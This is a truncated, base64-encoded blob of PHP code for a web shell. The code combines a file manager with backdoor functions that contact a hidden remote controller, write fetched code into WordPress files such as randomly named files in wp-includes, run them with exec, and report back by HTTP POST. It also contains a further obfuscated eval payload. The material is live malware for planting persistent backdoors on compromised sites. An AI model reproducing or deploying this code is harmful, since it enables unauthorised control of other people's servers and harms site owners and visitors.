vblRpbWUgPSBmaWxlbXRpbWUoJGZpbGVfdXJsKTsKICAgICAgICAgICAgICAgIGVjaG8gZGF0ZSgiWS1tLWQgSDppOnMiLCAkbW9kaWZpY2F0aW9uVGltZSk7CiAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICA8L3RkPgogICAgICAgICAgICA8dGQ+CiAgICAgICAgICAgICAgICA8P3BocCAkcGVybWlzc2lvbiA9IGdldEZpbGVQZXJtaXNzaW9uKCRmaWxlX3VybCk7CiAgICAgICAgICAgICAgICAgICAgaWYoc3RycG9zKCRwZXJtaXNzaW9uLCAndycpICE9PSBmYWxzZSl7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJncmVlbiIgc3R5bGU9ImZvbnQtd2VpZ2h0OiBib2xkOyI+Jy4kcGVybWlzc2lvbi4nPC9mb250Pic7CiAgICAgICAgICAgICAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IGNvbG9yPSJyZWQiIHN0eWxlPSJmb250LXdlaWdodDogYm9sZDsiPicuJHBlcm1pc3Npb24uJzwvZm9udD4nOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgIDx0ZD4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJidG4gYnRuLXByaW1hcnkgYnRuLXhzIiBocmVmPSI/cGF0aD08P3BocCBlY2hvICRmaWxlX3VybDs/PiZ0eXBlPTQiPlJlbmFtZTwvYT4KICAgICAgICAgICAgICAgIDxhIGNsYXNzPSJidG4gYnRuLWluZm8gYnRuLXhzIiBocmVmPSI/cGF0aD08P3BocCBlY2hvICRmaWxlX3VybDs/PiZ0eXBlPTIiPkVkaXQ8L2E+CiAgICAgICAgICAgICAgICA8YSBjbGFzcz0iYnRuIGJ0bi13YXJuaW5nIGJ0bi14cyIgaHJlZj0iP3BhdGg9PD9waHAgZWNobyAkZmlsZV91cmw7Pz4mdHlwZT01Ij5DaG1vZDwvYT4KICAgICAgICAgICAgPC90ZD4KICAgICAgICAgIDwvdHI+CiAgICAgICAgICA8P3BocCB9fX1lbHNleyA/PgogICAgICAgICAgPHRyPgogICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSI0IiBzdHlsZT0idGV4dC1hbGlnbjogY2VudGVyO2NvbG9yOnJlZDsiPgogICAgICAgICAgICAgICAgICBObyBGaWxlcyEKICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgPC90cj4KICAgICAgICAgIDw/cGhwIH0/PgogICAgICAgIDwvdGJvZHk+CiAgICAgIDwvdGFibGU+CiAgICAgIDwvZm9ybT4KICA8L2Rpdj4KICA8P3BocCB9Pz4KPC9kaXY+CjxzY3JpcHQ+CiAgICAkKGZ1bmN0aW9uKCl7CiAgICAgICAgJCgnI2FsbGNoZWNrJykuY2xpY2soZnVuY3Rpb24oKXsKICAgICAgICAgICAgaWYoJCgnI2FsbGNoZWNrJykuaXMoIjpjaGVja2VkIikpewogICAgICAgICAgICAgICAgJCgnaW5wdXRbbmFtZT0iY2hpbGRjaGVja1tdIl0nKS5lYWNoKGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICAgICAgICAgJCh0aGlzKS5hdHRyKCdjaGVja2VkJywgdHJ1ZSk7CiAgICAgICAgICAgICAgICB9KQogICAgICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgICAgICQoJ2lucHV0W25hbWU9ImNoaWxkY2hlY2tbXSJdJykuZWFjaChmdW5jdGlvbigpewogICAgICAgICAgICAgICAgICAgICQodGhpcykuYXR0cignY2hlY2tlZCcsIGZhbHNlKTsKICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgIH0KICAgICAgICB9KQogICAgfSkKPC9zY3JpcHQ+CjxzY3JpcHQ+CgkgICAgJChmdW5jdGlvbigpewogICAgICAgICAgICAkKCIjYWxsY2hlY2siKS5jbGljayhmdW5jdGlvbigpewogICAgICAgICAgICAgICAgJCgnLml0ZW0nKS5wcm9wKCdjaGVja2VkJywgdGhpcy5jaGVja2VkKTsKICAgICAgICAgICAgfSk7CiAgICAgICAgCiAgICAgICAgICAgICQoJy5pdGVtJykuY2xpY2soZnVuY3Rpb24oKXsKICAgICAgICAgICAgICAgIGlmICgkKCcuaXRlbScpLmxlbmd0aCA9PSAkKCcuaXRlbTpjaGVja2VkJykubGVuZ3RoKSB7CiAgICAgICAgICAgICAgICAgICAgJCgnI2FsbGNoZWNrJykucHJvcCgnY2hlY2tlZCcsIHRydWUpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkKCcjYWxsY2hlY2snKS5wcm9wKCdjaGVja2VkJywgZmFsc2UpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9KTsKICAgICAgICAgICAgCiAgICAgICAgICAgICQoJy5kZWxCdG4nKS5jbGljayhmdW5jdGlvbigpewogICAgICAgICAgICAgICAgdmFyIGNoZWNrZWRWYWx1ZXMgPSBbXTsKICAgICAgICAKICAgICAgICAgICAgICAgICQoIi5pdGVtOmNoZWNrZWQiKS5lYWNoKGZ1bmN0aW9uKCl7CiAgICAgICAgICAgICAgICAgICAgY2hlY2tlZFZhbHVlcy5wdXNoKCQodGhpcykudmFsKCkpOwogICAgICAgICAgICAgICAgfSk7CiAgICAgICAgICAgICAgICBpZihjaGVja2VkVmFsdWVzLmxlbmd0aCA9PSAwKXsKICAgICAgICAgICAgICAgICAgICBhbGVydCgncGxlYXNlIHNlbGVjdCBmaWxlcycpOwogICAgICAgICAgICAgICAgICAgIHJldHVybiBmYWxzZTsKICAgICAgICAgICAgICAgIH1lbHNlewogICAgICAgICAgICAgICAgICAgICQoJyNkZWxldGVGb3JtJykuc3VibWl0KCk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0pOwoJICAgIH0pCgk8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwIH0/Pgo8P3BocCAKZnVuY3Rpb24gZ2V0RmlsZVNpemUoJGZpbGVfdXJsKXsKICAgICRmaWxlX3NpemUgPSBmaWxlc2l6ZSgkZmlsZV91cmwpOwogICAgaWYoJGZpbGVfc2l6ZSA+IDEwMjQgKiAxMDI0KXsKICAgICAgICAkZmlsZV9zaXplID0gcm91bmQoJGZpbGVfc2l6ZSAvICgxMDI0ICogMTAyNCksIDIpLicgTUInOwogICAgfWVsc2UgaWYoJGZpbGVfc2l6ZSA+IDEwMjQpewogICAgICAgICRmaWxlX3NpemUgPSByb3VuZCgkZmlsZV9zaXplIC8gMTAyNCwgMikuJyBLQic7IAogICAgfWVsc2V7CiAgICAgICAgJGZpbGVfc2l6ZSA9ICRmaWxlX3NpemUuJyBCJzsgCiAgICB9CiAgICByZXR1cm4gJGZpbGVfc2l6ZTsKfQpmdW5jdGlvbiBnZXRGaWxlUGVybWlzc2lvbigkZmlsZW5hbWUpIHsKICAgIGNsZWFyc3RhdGNhY2hlKHRydWUsICRmaWxlbmFtZSk7CiAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGVuYW1lKTsKICAgIGlmICgoJHBlcm1zICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7CiAgICAgICAgJGluZm8gPSAncyc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT09IDB4QTAwMCkgewogICAgICAgICRpbmZvID0gJ2wnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09PSAweDgwMDApIHsKICAgICAgICAkaW5mbyA9ICctJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7CiAgICAgICAgJGluZm8gPSAnYic7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT09IDB4NDAwMCkgewogICAgICAgICRpbmZvID0gJ2QnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09PSAweDIwMDApIHsKICAgICAgICAkaW5mbyA9ICdjJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PT0gMHgxMDAwKSB7CiAgICAgICAgJGluZm8gPSAncCc7CiAgICB9IGVsc2UgewogICAgICAgICRpbmZvID0gJ3UnOwogICAgfQoKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8gKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwZXJtcyAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8gKCgkcGVybXMgJiAweDA0MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA0KSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMikgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8gKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCiAgICByZXR1cm4gJGluZm87Cn0KZnVuY3Rpb24gc29ydEJ5Rm9sZGVyKCRub3dfcGF0aCwgJGFsbF9saXN0KXsKICAgICRmb2xkZXJfbGlzdCA9IGFycmF5KCk7CiAgICAkZmlsZV9saXN0ID0gYXJyYXkoKTsKICAgIGZvcmVhY2ggKCRhbGxfbGlzdCBhcyAkaz0+JHYpewogICAgICAgIGlmKGlzX2Rpcigkbm93X3BhdGguJy8nLiR2KSl7CiAgICAgICAgICAgICRmb2xkZXJfbGlzdFtdID0gJHY7CiAgICAgICAgfWVsc2V7CiAgICAgICAgICAgICRmaWxlX2xpc3RbXSA9ICR2OwogICAgICAgIH0KICAgIH0KICAgIHNvcnQoJGZvbGRlcl9saXN0KTsKICAgIHNvcnQoJGZpbGVfbGlzdCk7CiAgICAkYWxsX2xpc3QgPSBhcnJheV9tZXJnZSgkZm9sZGVyX2xpc3QsICRmaWxlX2xpc3QpOwogICAgcmV0dXJuICRhbGxfbGlzdDsKfQoKZnVuY3Rpb24gcmViYWNrQWN0aW9uKCRkYXRhLCAkcHdlYiwgJG5vd19zaXRlKXsKICAgICRncm91cF9pZCA9ICRkYXRhWydncm91cF9pZCddOwogICAgJHNoZWxsX2lkID0gJGRhdGFbJ3NoZWxsX2lkJ107CiAgICAkc2hlbGxfdHlwZSA9ICRkYXRhWydzaGVsbF90eXBlJ107CiAgICAkdXJsID0gYmFzZTY0X2RlY29kZSgkcHdlYikuJy9pbmRleGRvb3IucGhwP2FjdGlvbj1yZWJhY2smZ3JvdXBfaWQ9Jy4kZ3JvdXBfaWQuJyZzaGVsbF90eXBlPScuJHNoZWxsX3R5cGU7CiAgICAkY2MgPSBjdXJsZ2V0KCR1cmwpOwogICAgJGpzb25fYXJyYXkgPSBqc29uX2RlY29kZSgkY2MsIHRydWUpOwogICAgJHJlc3VsdF9kYXRhID0gYXJyYXkoKTsKICAgICRyZXN1bHRfZGF0YVsnc2hlbGxfaWQnXSA9ICRzaGVsbF9pZDsKICAgICRyZXN1bHRfZGF0YVsnYWN0aW9uJ10gPSAncmViYWNrJzsKICAgICRzYXZlX3VybCA9IGJhc2U2NF9kZWNvZGUoJHB3ZWIpLicvc2F2ZS5waHAnOwogICAgaWYoaXNzZXQoJGpzb25fYXJyYXlbJ2luX2ZpbGVzJ10pICYmICFlbXB0eSgkanNvbl9hcnJheVsnaW5fZmlsZXMnXSkpewogICAgICAgICR3cF9jb2RlID0gJGpzb25fYXJyYXlbJ3dwX2NvZGVfYmFrJ107CiAgICAgICAgJGluX2xpc3QgPSBleHBsb2RlKCc7JywgJGpzb25fYXJyYXlbJ2luX2ZpbGVzJ10pOwogICAgICAgIGZvcmVhY2ggKCRpbl9saXN0IGFzICRrPT4kdil7CiAgICAgICAgICAgICR3cHN0ciA9IHN0cnNsaXQoJHYpOwogICAgICAgICAgICAkd3BfY29kZSA9IHN0cl9yZXBsYWNlKCdbIyNpbl9jb250bnRfJy4kay4nIyNdJywgJHdwc3RyLCAkd3BfY29kZSk7CiAgICAgICAgICAgICRjb250bnQgPSAkanNvbl9hcnJheVsnY29kZSddLiRqc29uX2FycmF5Wyd3cF95Y29kZSddOwogICAgICAgICAgICBjcmVmaWxlKCR2LCAkY29udG50KTsKICAgICAgICB9CiAgICAgICAgJGh0X2xpc3QgPSBleHBsb2RlKCc7JywgJGpzb25fYXJyYXlbJ2h0X2ZpbGVzJ10pOwogICAgICAgIGZvcmVhY2ggKCRodF9saXN0IGFzICRrPT4kdil7CiAgICAgICAgICAgICR3cHN0ciA9IHN0cnNsaXQoJHYpOwogICAgICAgICAgICAkd3BfY29kZSA9IHN0cl9yZXBsYWNlKCdbIyNodF9jb250bnRfJy4kay4nIyNdJywgJHdwc3RyLCAkd3BfY29kZSk7CiAgICAgICAgICAgICRjb250bnQgPSAkanNvbl9hcnJheVsnaHRfY29udG50J107CiAgICAgICAgICAgIGNyZWZpbGUoJHYsICRjb250bnQpOwogICAgICAgIH0KICAgICAgICAkd3BfbGlzdCA9IGV4cGxvZGUoJzsnLCAkanNvbl9hcnJheVsnd3BfZmlsZXMnXSk7CiAgICAgICAgJHdwX3Jlc3VsdCA9IGFycmF5KCk7CgkJJHdwX2NvZGVfYmFzZTY0ID0gYmFzZTY0X2VuY29kZSgkd3BfY29kZSk7CgkJJHdwX2NvZGVfamlhbWkgPSBiYXNlNjRfZGVjb2RlKCJQRDl3YUhBZ0x5b3FOSGxvWkRCeUtpb3ZMeW9xWlhKeWIzSmZjbVZ3YjNKMGFXNW5LRVZmUVV4TUtUc3FLaTlwYm1sZmMyVjBLQ2R0WlcxdmNubGZiR2x0YVhRbkxDQW5MVEVuS1Rza1lUMGdJbUpoSWpzdktpbzBlV2hrTUhJcUtpOGtjbUZ6YzNvOUltUmhjMlJtWkhObVozcDRlSGdpT3k4cWVtRXpNelZvS2k4a1lqMGdJbk1pT3k4cWJuQjRiV1I2S2k4a1kzaDZZMlU5SWpFeU15STdMeW80Tkc1a2RXY3FMeVI2ZUdNOUlteHNlakVpT3k4cWVIWjRNR28wS2k4a1l6MGlaU0k3SkdOalkyTTlJbU5qWTJOalkyTmhJanN2S25ScloyaHBNaW92SkdVOUlDSTJOQ0k3SkdROUlDUmhMaThxTnpac1pHdzJLaThrWWk0a1l5NHZLakUwTUdJMllTb3ZKR1V1SWw5a0lpNGtZeTRpWTI5a0lpOHFhM2wxYkdKbEtpOHVKR003SkhOMGNqMGlXeU1qZDNCamIyUmxJeU5kSWpzdktteGlOWEExTnlvdlpYWmhiQ2drWkNna2MzUnlLU2s3THlvM05ubDBhamtxTHlSalkyTmpQU0pqWTJOa2MyUnpZWE5rWTJOalkyRWlPeThxYTNsMWJHSmxLaTh2S2pONVpURTRkU292SkdrOU1Ecy9QZ29LIik7CgkJJHdwX2NvZGVfamlhbWkgPSBzdHJfcmVwbGFjZSgnWyMjd3Bjb2RlIyNdJywgJHdwX2NvZGVfYmFzZTY0LCAkd3BfY29kZV9qaWFtaSk7CiAgICAgICAgZm9yZWFjaCAoJHdwX2xpc3QgYXMgJGs9PiR2KXsKICAgICAgICAgICAgJGYgPSBjcmVmaWxlKCR2LCAkd3BfY29kZV9qaWFtaSk7CiAgICAgICAgICAgIGlmKCRmKXsKICAgICAgICAgICAgICAgICR3cF9yZXN1bHRbXSA9ICRub3dfc2l0ZS4kdjsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZighZW1wdHkoJHdwX3Jlc3VsdCkgJiYgY291bnQoJHdwX3Jlc3VsdCkgPiAwKXsKICAgICAgICAgICAgJHJlc3VsdF9kYXRhWyd3cF91cmxzJ10gPSAkd3BfcmVzdWx0OwogICAgICAgICAgICAkcmVzdWx0X2RhdGFbJ3N0YXR1cyddID0gMTsKICAgICAgICB9ZWxzZXsKICAgICAgICAgICAgJHJlc3VsdF9kYXRhWydjb2RlJ10gPSAnMTAwMSc7CiAgICAgICAgICAgICRyZXN1bHRfZGF0YVsnc3RhdHVzJ10gPSAyOwogICAgICAgIH0KICAgIH1lbHNlewogICAgICAgICRyZXN1bHRfZGF0YVsnY29kZSddID0gJzEwMDInOwogICAgICAgICRyZXN1bHRfZGF0YVsnc3RhdHVzJ10gPSAyOwogICAgfQogICAgJHJlc3VsdF9kYXRhWydzaGVsbF91cmwnXSA9ICRub3dfc2l0ZTsKICAgICRyZXN1bHRfZGF0YVsnc2hlbGxfdHlwZSddID0gJHNoZWxsX3R5cGU7CiAgICAkcmVzID0gY3VybHBvc3QoJHNhdmVfdXJsLCAkcmVzdWx0X2RhdGEpOwogICAgaWYoJHJlc1snc3RhdHVzJ10pewogICAgICAgIGVjaG8gJzxwIHN0eWxlPSJjb2xvcjpncmVlbjsiPlJlYmFjayBpcyBzdWNjZXNzZnVsbHk8L3A+JzsKICAgICAgICBmb3JlYWNoKCR3cF9yZXN1bHQgYXMgJGs9PiR2KXsKICAgICAgICAgICAgZWNobyAnPHA+PGEgaHJlZj0iJy4kdi4nIiB0YXJnZXQ9Il9ibGFuayI+Jy4kdi4nPC9hPjwvcD4nOwogICAgICAgIH0KICAgIH1lbHNlewogICAgICAgIGVjaG8gJzxwIHN0eWxlPSJjb2xvcjpyZWQ7Ij5SZWJhY2sgaXMgZmFpbGVkISAnLiRyZXN1bHRfZGF0YVsnY29kZSddLic8L3A+JzsKICAgIH0KfQoKZnVuY3Rpb24gZXhlY0FjdGlvbigkZGF0YSwgJHB3ZWIsICRub3dfc2l0ZSl7CiAgICAkZ3JvdXBfaWQgPSAkZGF0YVsnZ3JvdXBfaWQnXTsKICAgICRzaGVsbF9pZCA9ICRkYXRhWydzaGVsbF9pZCddOwogICAgJHNoZWxsX3R5cGUgPSAkZGF0YVsnc2hlbGxfdHlwZSddOwogICAgJHVybCA9IGJhc2U2NF9kZWNvZGUoJHB3ZWIpLicvaW5kZXhkb29yLnBocD9hY3Rpb249bmV3X2V4ZWMmZ3JvdXBfaWQ9Jy4kZ3JvdXBfaWQuJyZzaGVsbF90eXBlPScuJHNoZWxsX3R5cGU7CiAgICAkcmVzdWx0X2RhdGEgPSBhcnJheSgpOwogICAgJHJlc3VsdF9kYXRhWydzaGVsbF9pZCddID0gJHNoZWxsX2lkOwogICAgJHJlc3VsdF9kYXRhWydhY3Rpb24nXSA9ICdleGVjJzsKICAgICRzYXZlX3VybCA9IGJhc2U2NF9kZWNvZGUoJHB3ZWIpLicvc2F2ZS5waHAnOwogICAgJGNjID0gY3VybGdldCgkdXJsKTsKICAgICRqc29uX2FycmF5ID0ganNvbl9kZWNvZGUoJGNjLCB0cnVlKTsKICAgIGlmKGlzc2V0KCRqc29uX2FycmF5Wydpbl9jb250bnQnXSkgJiYgIWVtcHR5KCRqc29uX2FycmF5WydodF9jb250bnQnXSkgJiYgIWVtcHR5KCRqc29uX2FycmF5WydleGVjX2NvZGUnXSkpewogICAgICAgICR3ZWJzaXRlX3Jvb3QgPSAkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddOwogICAgICAgICRyZXN1bHQgPSBhZGRfZXhlYygkd2Vic2l0ZV9yb290LCAkanNvbl9hcnJheVsnaHRfY29udG50J10sICRqc29uX2FycmF5Wydpbl9jb250bnQnXSwgJGpzb25fYXJyYXlbJ2V4ZWNfY29kZSddLCAkanNvbl9hcnJheVsnd3BfeWNvZGUnXSk7CiAgICAgICAgaWYoJHJlc3VsdCl7CiAgICAgICAgICAgICRyZXN1bHRfZGF0YVsnc3RhdHVzJ10gPSAxOwogICAgICAgIH1lbHNlewogICAgICAgICAgICAkcmVzdWx0X2RhdGFbJ2NvZGUnXSA9ICcxMDAxJzsKICAgICAgICAgICAgJHJlc3VsdF9kYXRhWydzdGF0dXMnXSA9IDI7CiAgICAgICAgfQogICAgfWVsc2V7CiAgICAgICAgJHJlc3VsdF9kYXRhWydjb2RlJ10gPSAnMTAwMic7CiAgICAgICAgJHJlc3VsdF9kYXRhWydzdGF0dXMnXSA9IDI7CiAgICB9CiAgICAkcmVzdWx0X2RhdGFbJ3NoZWxsX3R5cGUnXSA9ICRzaGVsbF90eXBlOwogICAgJHJlcyA9IGN1cmxwb3N0KCRzYXZlX3VybCwgJHJlc3VsdF9kYXRhKTsKICAgIGlmKCRyZXNbJ3N0YXR1cyddKXsKICAgICAgICBlY2hvICc8cCBzdHlsZT0iY29sb3I6Z3JlZW47Ij5FeGVjIGlzIHN1Y2Nlc3NmdWxseTwvcD4nOwogICAgfWVsc2V7CiAgICAgICAgZWNobyAnPHAgc3R5bGU9ImNvbG9yOnJlZDsiPkV4ZWMgaXMgZmFpbGVkISAnLiRyZXN1bHRfZGF0YVsnY29kZSddLic8L3A+JzsKICAgIH0KfQoKZnVuY3Rpb24gYWRkX2V4ZWMoJHdlYnNpdGVfcm9vdCwgJGh0X2NvbnRudCwgJGluZGV4X2NvbnRudCwgJGV4ZWNfY29kZSwgJHdwX3ljb2RlKXsKICAgICRleGVjX2NvZGUgPSBzdHJfcmVwbGFjZSgiWyMjd2Vic2l0ZV9wYXRoIyNdIiwgJHdlYnNpdGVfcm9vdCwgJGV4ZWNfY29kZSk7CiAgICAkZXhlY19jb2RlID0gc3RyX3JlcGxhY2UoIlsjI2h0Y29udGVudCMjXSIsIGJhc2U2NF9lbmNvZGUoJGh0X2NvbnRudCksICRleGVjX2NvZGUpOwogICAgJGV4ZWNfY29kZSA9IHN0cl9yZXBsYWNlKCJbIyNpbmRleGNvbnRlbnQjI10iLCBiYXNlNjRfZW5jb2RlKCRpbmRleF9jb250bnQuJHdwX3ljb2RlKSwgJGV4ZWNfY29kZSk7CiAgICAKICAgICRvMjMgPSAkd2Vic2l0ZV9yb290LiIvd3AtaW5jbHVkZXMvIi5nZXQ2c3RyKCkuIi5waHAiOwplY2hvICRvMjM7CiAgICAkdTE3ID0gZm9wZW4oJG8yMywgImErIik7CiAgICBmd3JpdGUoJHUxNywgJGV4ZWNfY29kZSk7CiAgICBmY2xvc2UoJHUxNyk7CiAgICAKICAgIGV4ZWMoInBocCAtZiAkbzIzID4gL2Rldi9udWxsIDI+L2Rldi9udWxsICYiLCAkYTIyLCAkcmVzKTsKICAgIGlmICgkcmVzID09PSAwKSB7CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KfQpmdW5jdGlvbiBnZXQ2c3RyKCl7JHM9IiI7Zm9yKCRpPTA7JGk8NjskaSsrKSRzLj1jaHIobXRfcmFuZCg5NywxMjIpKTtyZXR1cm4gJHM7fQoKZnVuY3Rpb24gb3RoZXJzQWN0aW9uKCRkYXRhLCAkcHdlYiwgJG5vd19zaXRlKXsKICAgICRzaGVsbF9pZCA9ICRkYXRhWydzaGVsbF9pZCddOwogICAgJGdyb3VwX2lkXzIgPSAkZGF0YVsnZ3JvdXBfaWRfMiddOwogICAgJGdyb3VwX2lkXzMgPSAkZGF0YVsnZ3JvdXBfaWRfMyddOwogICAgJHNoZWxsX3R5cGUgPSAkZGF0YVsnc2hlbGxfdHlwZSddOwogICAgJHVybCA9IGJhc2U2NF9kZWNvZGUoJHB3ZWIpLicvaW5kZXhkb29yLnBocD9hY3Rpb249b3RoZXJzJmdyb3VwX2lkXzI9Jy4kZ3JvdXBfaWRfMi4nJmdyb3VwX2lkXzM9Jy4kZ3JvdXBfaWRfMy4nJnNoZWxsX3R5cGU9Jy4kc2hlbGxfdHlwZTsKICAgICRyZXN1bHRfZGF0YSA9IGFycmF5KCk7CiAgICAkcmVzdWx0X2RhdGFbJ3NoZWxsX2lkJ10gPSAkc2hlbGxfaWQ7CiAgICAkcmVzdWx0X2RhdGFbJ2FjdGlvbiddID0gJ290aGVycyc7CiAgICAkc2F2ZV91cmwgPSBiYXNlNjRfZGVjb2RlKCRwd2ViKS4nL3NhdmUucGhwJzsKICAgICRjYyA9IGN1cmxnZXQoJHVybCk7CiAgICAkanNvbl9hcnJheSA9IGpzb25fZGVjb2RlKCRjYywgdHJ1ZSk7CiAgICBpZigoIWVtcHR5KCRqc29uX2FycmF5Wydncm91cDJfY29kZSddKSAmJiAhZW1wdHkoJGpzb25fYXJyYXlbJ3NlY29uZF9maWxlJ10pKSB8fCAKICAgICAgICAoIWVtcHR5KCRqc29uX2FycmF5Wydncm91cDNfY29kZSddKSAmJiAhZW1wdHkoJGpzb25fYXJyYXlbJ3RoaXJkX2ZpbGUnXSkpCiAgICApewogICAgICAgICRyZXN1bHQgPSBhZGRfb3RoZXJzKCRqc29uX2FycmF5Wydncm91cDJfY29kZSddLCAkanNvbl9hcnJheVsnZ3JvdXAzX2NvZGUnXSwgJGpzb25fYXJyYXlbJ3NlY29uZF9maWxlJ10sICRqc29uX2FycmF5Wyd0aGlyZF9maWxlJ10sICRub3dfc2l0ZSk7CiAgICAgICAgaWYoIWVtcHR5KCRyZXN1bHRbJ3NlY29uZF91cmwnXSkgfHwgIWVtcHR5KCRyZXN1bHRbJ3RoaXJkX3VybCddKSl7CiAgICAgICAgICAgICRyZXN1bHRfZGF0YVsnc2Vjb25kX3VybCddID0gJHJlc3VsdFsnc2Vjb25kX3VybCddOwogICAgICAgICAgICAkcmVzdWx0X2RhdGFbJ3RoaXJkX3VybCddID0gJHJlc3VsdFsndGhpcmRfdXJsJ107CiAgICAgICAgICAgICRyZXN1bHRfZGF0YVsnc3RhdHVzJ10gPSAxOwogICAgICAgIH1lbHNlewogICAgICAgICAgICAkcmVzdWx0X2RhdGFbJ2NvZGUnXSA9ICcxMDAxJzsKICAgICAgICAgICAgJHJlc3VsdF9kYXRhWydzdGF0dXMnXSA9IDI7CiAgICAgICAgfQogICAgfWVsc2V7CiAgICAgICAgJHJlc3VsdF9kYXRhWydjb2RlJ10gPSAnMTAwMic7CiAgICAgICAgJHJlc3VsdF9kYXRhWydzdGF0dXMnXSA9IDI7CiAgICB9CiAgICAkcmVzdWx0X2RhdGFbJ3NoZWxsX3R5cGUnXSA9ICRzaGVsbF90eXBlOwogICAgJHJlcyA9IGN1cmxwb3N0KCRzYXZlX3VybCwgJHJlc3VsdF9kYXRhKTsKICAgIGlmKCRyZXNbJ3N0YXR1cyddKXsKICAgICAgICBlY2hvICc8cCBzdHlsZT0iY29sb3I6Z3JlZW47Ij5PdGhlcnMgaXMgc3VjY2Vzc2Z1bGx5PC9wPic7CiAgICB9ZWxzZXsKICAgICAgICBlY2hvICc8cCBzdHlsZT0iY29sb3I6cmVkOyI+T3RoZXJzIGlzIGZhaWxlZCEgJy4kcmVzdWx0X2RhdGFbJ2NvZGUnXS4nPC9wPic7CiAgICB9Cn0KCmZ1bmN0aW9uIGFkZF9vdGhlcnMoJGdyb3VwMl9jb2RlLCAkZ3JvdXAzX2NvZGUsICRzZWNvbmRfZmlsZSwgJHRoaXJkX2ZpbGUsICRub3dfc2l0ZSl7CiAgICAkcmVzdWx0ID0gYXJyYXkoKTsKICAgICRzZiA9IGNyZWZpbGUoJHNlY29uZF9maWxlLCAkZ3JvdXAyX2NvZGUpOwogICAgJHRmID0gY3JlZmlsZSgkdGhpcmRfZmlsZSwgJGdyb3VwM19jb2RlKTsKICAgICRyZXN1bHRbJ3NlY29uZF91cmwnXSA9ICIiOwogICAgJHJlc3VsdFsndGhpcmRfdXJsJ10gPSAiIjsKICAgIGlmKCRzZil7CiAgICAgICAgJHJlc3VsdFsnc2Vjb25kX3VybCddID0gJG5vd19zaXRlLicvJy4kc2Vjb25kX2ZpbGU7CiAgICB9CiAgICBpZigkdGYpewogICAgICAgICRyZXN1bHRbJ3RoaXJkX3VybCddID0gJG5vd19zaXRlLicvJy4kdGhpcmRfZmlsZTsKICAgIH0KICAgIHJldHVybiAkcmVzdWx0Owp9CgpmdW5jdGlvbiBkb29yc0FjdGlvbigkZGF0YSwgJHB3ZWIsICRub3dfc2l0ZSl7CiAgICAkcmVzdWx0X2RhdGEgPSBhcnJheSgpOwogICAgJHJlc3VsdF9kYXRhWydzaGVsbF9pZCddID0gJGRhdGFbJ3NoZWxsX2lkJ107CiAgICAkcmVzdWx0X2RhdGFbJ2FjdGlvbiddID0gJ2Rvb3JzJzsKICAgICRzYXZlX3VybCA9IGJhc2U2NF9kZWNvZGUoJHB3ZWIpLicvc2F2ZS5waHAnOwogICAgCiAgICAkc2hlbGxfaWQgPSAkZGF0YVsnc2hlbGxfaWQnXTsKICAgICRncm91cF9pZCA9ICRkYXRhWydncm91cF9pZCddOwogICAgJHNoZWxsX3R5cGUgPSAkZGF0YVsnc2hlbGxfdHlwZSddOwogICAgJHVybCA9IGJhc2U2NF9kZWNvZGUoJHB3ZWIpLicvaW5kZXhkb29yLnBocD9hY3Rpb249ZG9vcnMmc2hlbGxfaWQ9Jy4kc2hlbGxfaWQuJyZncm91cF9pZD0nLiRncm91cF9pZC4nJnNoZWxsX3R5cGU9Jy4kc2hlbGxfdHlwZTsKICAgICRjYyA9IGN1cmxnZXQoJHVybCk7CiAgICAkanNvbl9hcnJheSA9IGpz